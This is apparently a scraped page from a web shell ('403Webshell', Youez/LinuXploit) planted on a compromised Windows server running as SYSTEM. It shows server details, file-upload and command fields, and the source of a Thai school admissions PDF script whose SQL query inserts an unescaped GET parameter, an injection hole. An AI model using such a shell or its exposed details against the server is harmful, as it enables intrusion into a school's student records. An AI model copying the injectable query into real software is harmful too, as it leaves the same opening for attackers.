403Webshell
Server IP : 104.21.80.248  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/datacenter/admin/report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/datacenter/admin/report//studentregis.php
<?php  
require_once("setPDF.php"); // ไฟล์สำหรับกำหนดรายละเอียด pdf 
require_once('../config.php');
// เพิ่มหน้าใน PDF 

	$pdf->SetTitle('รายงาน PDF'); //Titlo del pdf
	$pdf->setPrintHeader(false); //หัวกระดาษ
	$pdf->setPrintFooter(true); //No se imprime pie de pagina
	$pdf->SetMargins(15, 16, 15, false); //ตั้งค่าระยะห่างจากหัวกระดาษ
	$pdf->SetAutoPageBreak(true, 20); //Se define un salto de pagina con un limite de pie de pagina
    $pdf->AddPage();  

$cid = filter_input(INPUT_GET, 'idcard', FILTER_SANITIZE_STRING);

$SQL1 = $mysqli->query("SELECT * FROM `read_data` INNER JOIN `student_regis` ON `student_regis`.`r_idcard` = `read_data`.`cid` where cid='$cid' ");
$Row1 = mysqli_fetch_array($SQL1);
$newcid = $Row1['cid'];
$photos="../uploads/IDcard/$newcid.jpg";
$class = $Row1['r_class'];
$year = $Row1['r_year'];
//$pdf->AddPage();
$pdf->Image('../uploads/images/obec.jpg',92,12,25,0,'','');
$pdf->Image($photos,166,15,32,0,'','');
  
// สร้างเนื้อหาจาก  HTML code 
$tbl1 = <<<EOD
ใบสมัครเข้าเรียน 
EOD;
$nober1 = <<<EOD
 No.$newcid
EOD;
$tbl2 = <<<EOD
ใบสมัครเข้าศึกษาต่อชั้น $class  ปีการศึกษา $year
EOD;
$title1 = <<<EOD
แบบ บค.8
EOD;
$user1 = <<<EOD
  เลขที่
EOD;

$html = '';




// เลื่อน pointer ไปหน้าสุดท้าย  

$pdf->Ln(-10);
$pdf->SetFont('th-sarabun','b',20);
$pdf->Cell(0, 0, $title1, 0, 0, 'R');
$pdf->Ln(48);
$pdf->SetFont('th-sarabun','b',15);
$pdf->Cell(183, 0,$nober1, 0, 0, 'R');
$pdf->Ln(-5);
$pdf->SetFont('th-sarabun','b',24);
$pdf->Cell(0, 0, $tbl1, 0, 0, 'C');
$pdf->Ln(10);
$pdf->SetFont('th-sarabun','b',18);
$pdf->Cell(0, 0, $tbl2, 0, 0, 'C');
$pdf->Ln(10);
$pdf->SetFont('th-sarabun','b',16);
$pdf->Cell(0, 0, $user1, 0, 0, 'C');
$pdf->Ln(10);
$pdf->SetFont('','',15,'','','L');
$pdf->writeHTML($html, true, 0, true, 0);
$pdf->lastPage();  
  

// ปิดและสร้างเอกสาร PDF
ob_end_clean();
$today = date("dmY");
$pdf->Output('goosd-Report'.$today.'.pdf', 'I');
?> 


Youez - 2016 - github.com/yon3zu
LinuXploit